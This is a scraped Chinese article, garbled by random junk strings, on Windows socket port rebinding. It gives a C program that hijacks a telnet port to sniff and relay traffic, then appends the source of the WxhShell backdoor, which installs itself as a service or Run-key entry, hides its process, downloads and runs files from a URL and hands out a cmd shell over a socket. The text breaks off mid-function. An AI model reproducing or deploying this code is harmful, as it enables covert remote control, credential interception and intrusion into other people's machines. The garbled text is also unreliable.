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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rz5@E s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Hh &s.ja kDc/]Zb% saddr.sin_family = AF_INET; E=qfI>2U& NP$ D9#
saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q57Z~EsF 9zaSA,} bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k j&hn @EUvx 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ! Y'~?BI +3?.Vb%jY 这意味着什么?意味着可以进行如下的攻击: -9$.&D| hIwqSKq9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2z9N/SyN k<%y+v 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x6
h53R v8K4u) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2jyxP6t ?P Mi#H 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 sb</-']a T$tO[QR/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pYX!l:hk l!%V&HJV 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w,z m! `5Em : 8 M 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O
@{<?[ r&nEM6 #include ='fN
xabB #include [.>g.p,; #include +}NQ|y V #include 1K[y)q DWORD WINAPI ClientThread(LPVOID lpParam); 0Yfz?:e int main() =[`gfw { QE`u~ WORD wVersionRequested; <Sp>uhet1 DWORD ret; Tywrh9[ WSADATA wsaData; -FQS5Zb.! BOOL val; It5n;,n SOCKADDR_IN saddr; {e83 A/{ SOCKADDR_IN scaddr; >; k~B int err; =v~$&@ SOCKET s; .<-~k@ P SOCKET sc; GD#W=O int caddsize; J24H}^~na HANDLE mt; l# |M.V6G DWORD tid; qQCds}<w wVersionRequested = MAKEWORD( 2, 2 ); fx/If err = WSAStartup( wVersionRequested, &wsaData ); 6('xIE(R if ( err != 0 ) { wW0m}L printf("error!WSAStartup failed!\n"); }~! D]/B return -1; .,gVquqMY } +!"7=?} saddr.sin_family = AF_INET; A|BN>?.t @gihIysf //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XC\'8hL: =<z~OE'lV saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !24g_R[3" saddr.sin_port = htons(23); bs_rw+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kk+:y{0V { c/`Rv{*'o printf("error!socket failed!\n"); RJLhR_t7n return -1; DWu~%U8 } anFl:= val = TRUE; i|G /x //SO_REUSEADDR选项就是可以实现端口重绑定的 [N1[khY` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #5_pE1 { T%1Kh'92 printf("error!setsockopt failed!\n"); %YI !{ return -1; FSS~E [(DL } Q?-u J1J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +)*aS+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "
{Nw K //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @RLlkWGc )LE#SGJP if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4I3)eS%2 { ~Ec@hz]js ret=GetLastError(); Axx{G~n! [ printf("error!bind failed!\n"); K]dX5vJw' return -1; {;?bC' } W^dRA xVX listen(s,2); 3G-f+HN^E while(1) g<N3 L [ { nokMS caddsize = sizeof(scaddr); }o9(Q8 //接受连接请求 *Y- rEF > sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); u3_AZ2-; if(sc!=INVALID_SOCKET) \DRYqLT` { QNCG^ub mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w0$l3^}z if(mt==NULL) C~:!WRCz { wfc+E9E printf("Thread Creat Failed!\n"); ,v*<yz/ break; B<?fD } !FJ_\UST0 } px.]m- CloseHandle(mt); h*?/[XY } /A/k13 J closesocket(s); p4I6oS`/. WSACleanup(); 6'vt
'9 return 0; kR|(hA,$N } NpF}~$2 DWORD WINAPI ClientThread(LPVOID lpParam) {
w:9w { Y4n;[nHQ( SOCKET ss = (SOCKET)lpParam; U0%m*i SOCKET sc; Oz_|pu unsigned char buf[4096]; RVb}R<yU+ SOCKADDR_IN saddr; 7q,M2v; long num; 'Z(4Wuwb DWORD val; LuIs4&[EW DWORD ret; `jB2' //如果是隐藏端口应用的话,可以在此处加一些判断 p&ml$N9fd //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ;R.l?Bg saddr.sin_family = AF_INET; nH]F$'rtA saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Uw5`zl saddr.sin_port = htons(23); ; 'J{ylRQ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3Q"4-pd { '^Ce9r} printf("error!socket failed!\n"); Zf%6U[{ T return -1; $I-i=:}g } :X;AmLf`2u val = 100; z!6:Dt6^ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y*5bF0 { t'0dyQ%u ret = GetLastError(); @7aSq-(_l* return -1; /^z5;aG } W8
m*co if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h&6v&%S/L { ?5L.]Isa5 ret = GetLastError(); =K2mR}n\; return -1; h .Iscr^~ } X%b.]A if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p KF>_\
{ 8+<vumnw printf("error!socket connect failed!\n"); *0`oFTJ closesocket(sc); 'M#'BQQ5 closesocket(ss); ^L1# return -1; ;9R;D,Gk! } %CP:rAd`M. while(1) VfiMR%i} { 75V?K //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B^SD5 //如果是嗅探内容的话,可以再此处进行内容分析和记录 93npzpge //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q7 Clr{& num = recv(ss,buf,4096,0); 1wa zJj=v if(num>0) cR1dGNcp/@ send(sc,buf,num,0); THM\-abz else if(num==0) lll]FJ1 break; L@|W&N;%a num = recv(sc,buf,4096,0); N'nqVYTU if(num>0) /i]!=~\qFs send(ss,buf,num,0); {zc<:^r^ else if(num==0) eswsxJ/! break; :_q } Oop;Y^gG} closesocket(ss); =x4:jas closesocket(sc); !ACWv*pW return 0 ; o AkF } [*j
C _|S>,D' *JX)q ========================================================== bqXCe\# |yi3y `f 下边附上一个代码,,WXhSHELL 6s833Tmb&r xP.B,1\X ========================================================== fa#]G^f }*~EA=YN; #include "stdafx.h" oVsj
Q p1Q[c0NMK #include <stdio.h> \*H/YByTb #include <string.h> dUtxG ~9 #include <windows.h> 8z^?PZ/ #include <winsock2.h> _M+'30 #include <winsvc.h> z^Nnt #include <urlmon.h> ~ySmN}3~'
';x .ry #pragma comment (lib, "Ws2_32.lib") zi23k= #pragma comment (lib, "urlmon.lib") GqI^$5? :z%vNKy1 #define MAX_USER 100 // 最大客户端连接数 N5rY*S #define BUF_SOCK 200 // sock buffer AC=cz!3iB #define KEY_BUFF 255 // 输入 buffer mf'N4y% Bo?uwi #define REBOOT 0 // 重启 aC>r5b#: #define SHUTDOWN 1 // 关机 cve(pkl :4h4vp< #define DEF_PORT 5000 // 监听端口 "_ b
Sy z 12[vN #define REG_LEN 16 // 注册表键长度 >\K<q>* #define SVC_LEN 80 // NT服务名长度 )#MKOsOct d3T|N\(DL // 从dll定义API j?1\E9&4-Q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *eL%[B typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0k>NuIIP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [UquI " typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0/<}.Z] cD8.rRyD // wxhshell配置信息 )_b#c+ struct WSCFG { )$yqJ6y5 int ws_port; // 监听端口 EuqmA7s8A char ws_passstr[REG_LEN]; // 口令 ?rWqFM:hb int ws_autoins; // 安装标记, 1=yes 0=no it\{#rb=4 char ws_regname[REG_LEN]; // 注册表键名 C/e`O|G char ws_svcname[REG_LEN]; // 服务名 m^h"VH,
char ws_svcdisp[SVC_LEN]; // 服务显示名 0G9@A8LU char ws_svcdesc[SVC_LEN]; // 服务描述信息 US'X9=b_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $Ha?:jSc int ws_downexe; // 下载执行标记, 1=yes 0=no iwCnW7: char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 6}IOUWLB@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a@zKi; fu9y3` }; ^o"9f1s 5 b]~X
U // default Wxhshell configuration u.0Z)j}N struct WSCFG wscfg={DEF_PORT, ][ :6En} "xuhuanlingzhe", C;wN>HE 1, hT^6Ifm "Wxhshell", ~.AUy%$_g+ "Wxhshell", J @"wJEF "WxhShell Service", SS
O$.rp "Wrsky Windows CmdShell Service", 6<NaME "Please Input Your Password: ", ;e()| 1, d#I'9O0& " http://www.wrsky.com/wxhshell.exe", V>@NkQ<|y "Wxhshell.exe" :^3MN }; s[h'W~ Mc~(S$FU$ // 消息定义模块 [f.[C5f%"' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O9A.WSJ
>} char *msg_ws_prompt="\n\r? for help\n\r#>"; FM0)/6I'x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; +f+x3OMX3 char *msg_ws_ext="\n\rExit."; xx
nW 1`] char *msg_ws_end="\n\rQuit."; [xk1}D char *msg_ws_boot="\n\rReboot..."; %#02Z%?% char *msg_ws_poff="\n\rShutdown..."; jr*A1y* char *msg_ws_down="\n\rSave to "; <y6M@(b kxhvy,t char *msg_ws_err="\n\rErr!"; R"!.|fH6 char *msg_ws_ok="\n\rOK!"; joAR;J vC$[Zm char ExeFile[MAX_PATH]; %&4sHDP int nUser = 0; D._q'v< HANDLE handles[MAX_USER]; 9O?.0L int OsIsNt; !a~>;+ KZ`d3ad SERVICE_STATUS serviceStatus; 0D/j2cT("k SERVICE_STATUS_HANDLE hServiceStatusHandle; . CLiv 4kT| /bp // 函数声明 aoco'BR F int Install(void); ToCB*GlL int Uninstall(void); EfcoJgX int DownloadFile(char *sURL, SOCKET wsh); u\ytiGO* int Boot(int flag); =JOupw void HideProc(void); ^lB1- ;ng int GetOsVer(void); E%3WJ%A int Wxhshell(SOCKET wsl); _wCp.[3?t void TalkWithClient(void *cs);
IpoZ6DB$ int CmdShell(SOCKET sock); 7sC$hm] int StartFromService(void); :'f#0 ox int StartWxhshell(LPSTR lpCmdLine); "|]'\4UdzQ %TPnC'2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nDkyo>t. VOID WINAPI NTServiceHandler( DWORD fdwControl ); R6h(mPYA @PZ&/F^ // 数据结构和表定义 vE>J@g2# SERVICE_TABLE_ENTRY DispatchTable[] = %^p1ax { ]V<[W,*(5 {wscfg.ws_svcname, NTServiceMain}, )T(xQ2&r4 {NULL, NULL} 7cK#fh"hvg }; -F/"W
*"P
:ySA // 自我安装 4G;+ETp int Install(void) !Jh-v { &0It"17Ej char svExeFile[MAX_PATH]; 7F>5<Gv:- HKEY key; a,#f%#J\ strcpy(svExeFile,ExeFile);
ZQD_w#0j O9r3^y\>I // 如果是win9x系统,修改注册表设为自启动 \%KJ+PJ if(!OsIsNt) { g*N~r['dZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { % rRYT8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lf3Ri/@ p RegCloseKey(key); .LIEZ^@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [kt!\- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y{uRh>l RegCloseKey(key); m[LIM}Gu return 0; [`Ol&R4k } dFjB &#Tl } U8c0N<j } J*-m!0 5 else { \wCj$-;Jt `pn]jpW9 // 如果是NT以上系统,安装为系统服务 czi$&(N0w$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +6B(LPxgP if (schSCManager!=0) `4'v)!? { pZ/x,b#. SC_HANDLE schService = CreateService UAFl+d! ( KqP!={>" schSCManager, #|v\UJ:Pf/ wscfg.ws_svcname, O"<D0xzF? wscfg.ws_svcdisp, Lp5LRw SERVICE_ALL_ACCESS, %Nwap~=H; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (x@|6Sb SERVICE_AUTO_START, p(8H[L4Y SERVICE_ERROR_NORMAL, <ap%+(!I svExeFile, t.t$6+"5We NULL, $iUK,
? NULL, sTP`xaY NULL, M`-#6,m3 NULL, ()6(eRGJ NULL (@B
gsY ); ?[hIv6c if (schService!=0) ( MWh|kp { -K0>^2hh CloseServiceHandle(schService); f>k]{W Y CloseServiceHandle(schSCManager); -M2c8P:.b strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3lcd:= strcat(svExeFile,wscfg.ws_svcname); ry\Nm[SQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ( n;# Z, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vR.=o*!% RegCloseKey(key); )s5Q4m! return 0; T?4MFx# } \HF|&@}hU } 1//d68*" CloseServiceHandle(schSCManager); Qh<_/X? } KC9_H> } K'kWL[Ut! VI:
!# return 1; lQj3#!1} } X31[ \2KwF}[m // 自我卸载 Q '/v-bd?o int Uninstall(void) a'u:1C^\ { Clr~:2g\ HKEY key; N9QHX |re)]%A?Fu if(!OsIsNt) { f40 xS7-Q0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -7,xjn RegDeleteValue(key,wscfg.ws_regname); o9&1Ct RegCloseKey(key); LI1OocY.] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <Dojl
# RegDeleteValue(key,wscfg.ws_regname);
=z`#n}v RegCloseKey(key); FC[8kq>Hk return 0; 3]"RaI4Q0 } =$xxkc.~G } YaU)66=u } [hC-} 9 else { u}Kc>/AF S bI7<_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9jW/" if (schSCManager!=0) K,_d/(T4 { +PT/pybA SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n1n->l*HGP if (schService!=0) Ot,eAiaX { 0
~K4 vSa if(DeleteService(schService)!=0) { 6WUP#c@{ CloseServiceHandle(schService); vt8z=O CloseServiceHandle(schSCManager); mz)Z
=`hy return 0; QE8;Jk- } J;@g#h? CloseServiceHandle(schService); yvN;|R
} (b!`klQ CloseServiceHandle(schSCManager); U&x)Q } !| ObNS } Igb@aGA wP-BaB$_ return 1; !.\- l2f } |a!y%R= +E5EOo{ `| // 从指定url下载文件 aG&ay3[& int DownloadFile(char *sURL, SOCKET wsh) >2kjd { f\cm84 HRESULT hr; bSbUf%LKt char seps[]= "/"; aJ;6!WFW char *token; ZV,1IaO char *file; Fke_ms=I^ char myURL[MAX_PATH]; g+ZQ6Hz char myFILE[MAX_PATH]; Cx,)$!1 -`d9dJ dB strcpy(myURL,sURL); <OR f{ token=strtok(myURL,seps); -XcX1_ while(token!=NULL) ??MF8uv { I{rW+<)QGC file=token; 85fv] )\y token=strtok(NULL,seps); m`3Mev } *d%U]Hby, /C: rr_4= GetCurrentDirectory(MAX_PATH,myFILE); t93iU?Z strcat(myFILE, "\\"); Adyv>T9 strcat(myFILE, file); ]E8S`[Vn send(wsh,myFILE,strlen(myFILE),0); =5zx]N1r send(wsh,"...",3,0); #"3az8u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N3C 8% if(hr==S_OK) k-~HUC.A. return 0; (";{@a % else |N^z=g P[ return 1; NEY
b-#v $hCPmiI } ,pc\
)HR ku`bwS // 系统电源模块 hhZUE] int Boot(int flag) Ku
W$ { uI'g]18Hi HANDLE hToken; dE[_]2];P TOKEN_PRIVILEGES tkp; Gkfc@[Z V !edgziuO if(OsIsNt) { tG{? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O8J:Tw}M* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6BPZ2EQ tkp.PrivilegeCount = 1; guD?~-Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f%1Dn }6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zF
F=v7[j if(flag==REBOOT) { _`Abz2s if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H$
sNp\[{ return 0; 9hG+? } D(GAC!|/] else { /)ubyl]^p if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rLzYkZ return 0; )~](qLSl } ,yC-QFQE } h)M9Oup` else { MI!JZI$z5 if(flag==REBOOT) { J{Z-4y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l7]$Wc[ return 0; ?gSk%]S/! } x+O}R D*G else { oadlyqlw# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !n`ogzOh return 0; %;.|?gR } Cf_Ik } zN\~v RRD\V3C84 return 1; T#lySev } zS:89y< X7sWu{n // win9x进程隐藏模块 /~_Cb=7 void HideProc(void) S?{|qlpy {
*it(o Po[u6K2& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mu1oD;lQ if ( hKernel != NULL ) hfY
Ieb#91 { O_f|R1G5z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s z.(_{5! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xDBEs* FreeLibrary(hKernel); ufdC'2cp8 } TJ9,c2d+ :):=KowI return; 2#'[\*2|N } 9p!V?cH#8 XN"V{;OP1 // 获取操作系统版本 Gvt.m&_ int GetOsVer(void) I~S`'()J { f8! PeQ? OSVERSIONINFO winfo; @A6\v+ih winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +1p>:cih GetVersionEx(&winfo);
9`^VuC' if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ewgcpV|spn return 1; rsfA.o else OgrUP return 0; ]}9y>+> } `QR2!W70o3 n?pCMS| // 客户端句柄模块 .jr1<LE int Wxhshell(SOCKET wsl) g\
@nA4 { Fm-W@ SOCKET wsh; -3VxjycY struct sockaddr_in client; R*TCoEKO DWORD myID; #'<I!G b6S86> while(nUser<MAX_USER) KLqu[{y.' { i TD}gC int nSize=sizeof(client); 5%?La`C9[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vw9^otJu if(wsh==INVALID_SOCKET) return 1; Dt1{]~30 [ZURs3q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =Gd[Qn83.% if(handles[nUser]==0) .2
UUU\/5 closesocket(wsh); WGG|d)'@ else gKb4n
Nt nUser++; l$,l3 } An[*Jx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .1I];Cy0D q9WdJ!-^X return 0; (fh:q2E# } 7@EYF ;
tvB{s_ // 关闭 socket
{yt]7^ void CloseIt(SOCKET wsh) _5
tw1 > { pJa FPO..| closesocket(wsh); ]N=C%#ki! nUser--; 5Tu#o() ExitThread(0); $o]zNW;X } 308w0eP Rdt8jY6F/ // 客户端请求句柄 1uV_C[: void TalkWithClient(void *cs) N%r}0 { c_ygwO3.Q ~O1*] SOCKET wsh=(SOCKET)cs; QwT]|
6> char pwd[SVC_LEN]; ~d5"<`<^o char cmd[KEY_BUFF]; z(\H.P# char chr[1]; t_]UseP$RF int i,j; >D:S)" )&dhE^
O while (nUser < MAX_USER) { !+hX$_RT huKz["]z[ if(wscfg.ws_passstr) { B. P64"w if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KG3*~G //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =dA T^e## //ZeroMemory(pwd,KEY_BUFF); 2{V| i=0; f2yv7t
T while(i<SVC_LEN) { f "&q~V4? v Q_ B2#U: // 设置超时 <}mT[;:" fd_set FdRead; 8OFrW.>[ struct timeval TimeOut; <M&]*|q>g% FD_ZERO(&FdRead); 6wu/6DO FD_SET(wsh,&FdRead); "V^jAPDXb TimeOut.tv_sec=8; ^_=0.:QaW TimeOut.tv_usec=0; ;XtDz int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wcL0#[) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xj@Kt|&`k <.v6w*+{/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Q OvK>W< pwd =chr[0]; <Ihn1? if(chr[0]==0xd || chr[0]==0xa) { '~2v/[<`} pwd=0; +nZG!nP break; 5-3gsy/Mo } U)PumU+z$u i++; _0f[.vN } y(S0
2v>l GbE3:;JI // 如果是非法用户,关闭 socket gU%GM if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b;O+QRa } &
vIKNGJ^ c"$_V[m send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <|_Ey)1
6 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i:$g1 ' FK"-)s while(1) { gJ7$G3&oZg 950b9Vn& ZeroMemory(cmd,KEY_BUFF); qXF"1f_+ 3TtW2h>M // 自动支持客户端 telnet标准 5a~1RL j=0; p~b$+8#+ while(j<KEY_BUFF) { aF=VJ+5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *,pqpD> cmd[j]=chr[0]; pZjFpd| if(chr[0]==0xa || chr[0]==0xd) { w&gHmi cmd[j]=0; "osYw\unI break; 'YeJGzsJp } $d=lDN j++; RW)C<g } UGMdWq )?WoLEjq // 下载文件 %Fv)$ :b if(strstr(cmd,"http://")) { E$wB bm send(wsh,msg_ws_down,strlen(msg_ws_down),0); '$zFGq
}} if(DownloadFile(cmd,wsh))
jZ;T&s send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3{l"E(qqZ else t|m3b~Oyv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 24Fxx9g } 34=0.{qn else { 5-*]PAC ]*|K8&jxl switch(cmd[0]) { #o RUH8 P33E\O // 帮助 V("1\ case '?': { SMyg=B\x?7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z7^}G=* break; Z:_y,( 1Q } -ZB"Yg$l // 安装 z#4g,)ZX case 'i': { >g&`g}xZQ if(Install()) L DsYr] send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^XM;D/Gp~ else Sx2j~(pOr send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nz;;X\GI break; 5o/rV.I } pA'A<|)K0 // 卸载 (=j!P* case 'r': {
.D.Rn/ if(Uninstall()) (4LLTf0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); B/OO$=>( else R5"p7> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,k!a3"4+TJ break; C)j)j& } &iZYBa // 显示 wxhshell 所在路径 +QX>:z case 'p': { ^v-'=1ub? char svExeFile[MAX_PATH]; 9f,:j strcpy(svExeFile,"\n\r"); ''uI+>Y strcat(svExeFile,ExeFile); .TC
`\mV send(wsh,svExeFile,strlen(svExeFile),0); Ao T 7sy7 break; rLxX^[Fp3 }
y6}):| // 重启 !Yu-a! case 'b': { M;qL)vf
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E,7~kd~y` if(Boot(REBOOT)) NrcCUZ .:N send(wsh,msg_ws_err,strlen(msg_ws_err),0); I?>T"nV +' else { ?LI9F7n closesocket(wsh); dH|^\IQ ExitThread(0); P-[K*/bPw } VU9P\|c@< break; 8F` } @88i/ Z_ // 关机 -G#k/Rz6 case 'd': { OPW"ABJ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /T[ICd2J if(Boot(SHUTDOWN)) Hs=N0Sk]j send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1m;*fs else { Y,btL'[W closesocket(wsh); aG_ON0g ExitThread(0); RJwIN,&1. } od*Z$Hb>' break; #J724` } '-33iG // 获取shell '%C.([ case 's': { e8mbEC(AK CmdShell(wsh); Wx$q:$h@q closesocket(wsh); Fx5d@WNa> ExitThread(0); D1 ~x break; F*t_lN5{ } w/5^R // 退出 ;+34g6 case 'x': { P<!$A
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W#I:j: p CloseIt(wsh); (0#F]""\e break; Q4Fq=kTE } NLZZMr // 离开 ]/Yy-T#@ case 'q': { D%UZ'bHN* send(wsh,msg_ws_end,strlen(msg_ws_end),0); UXPegK! closesocket(wsh); [Cj)@OC WSACleanup(); ?4[Oh/]R exit(1); rjHIQC C break; ITIj=!F* } Qy5Os?9" } 76A>^Bs\/ } GyAgPz RF~Ofi // 提示信息 ?koxt44 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @D~+D@i$TW } wK'! xH^ } ~,*YmB=Z Mp"'?zf return; !\-4gr?`! } %aH$Tb%`hc g:DTVq // shell模块句柄 MATgJ`lsy int CmdShell(SOCKET sock) a=*ALd_&0 { p/k<wCm6 STARTUPINFO si; o9Txo
(tYU ZeroMemory(&si,sizeof(si)); 5rml Aq si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yi&-m} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G_M:0YI@ PROCESS_INFORMATION ProcessInfo; (#bp`Kih char cmdline[]="cmd"; E
{KS a CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '9
e\. return 0; o)#q9Vk%b } w3=)S\ t1w2u.] // 自身启动模式 @q+cmJKv int StartFromService(void) %l:|2s: { Du^x=; typedef struct gX$0[
sIS. { R+{^@M&
DWORD ExitStatus; n{64g+ DWORD PebBaseAddress; f2 ydL/M, DWORD AffinityMask; 6Lg!Lodu DWORD BasePriority; df4sOqU ULONG UniqueProcessId; \5Vp6^ ULONG InheritedFromUniqueProcessId; T9z4W]T } PROCESS_BASIC_INFORMATION; }PI35i1!t E kBae= PROCNTQSIP NtQueryInformationProcess; ]yAEjn9cN V$dJmKg static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3>Q@r>c static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kc%n(,+%" 5S%C~iB HANDLE hProcess; s(AJkO'` PROCESS_BASIC_INFORMATION pbi; -G],H)M As@ihB+(\ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Dac ^*k=D if(NULL == hInst ) return 0; j:3EpD@GS vpm ]9>1[ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CKv&Re g_pGetModuleBaseName = 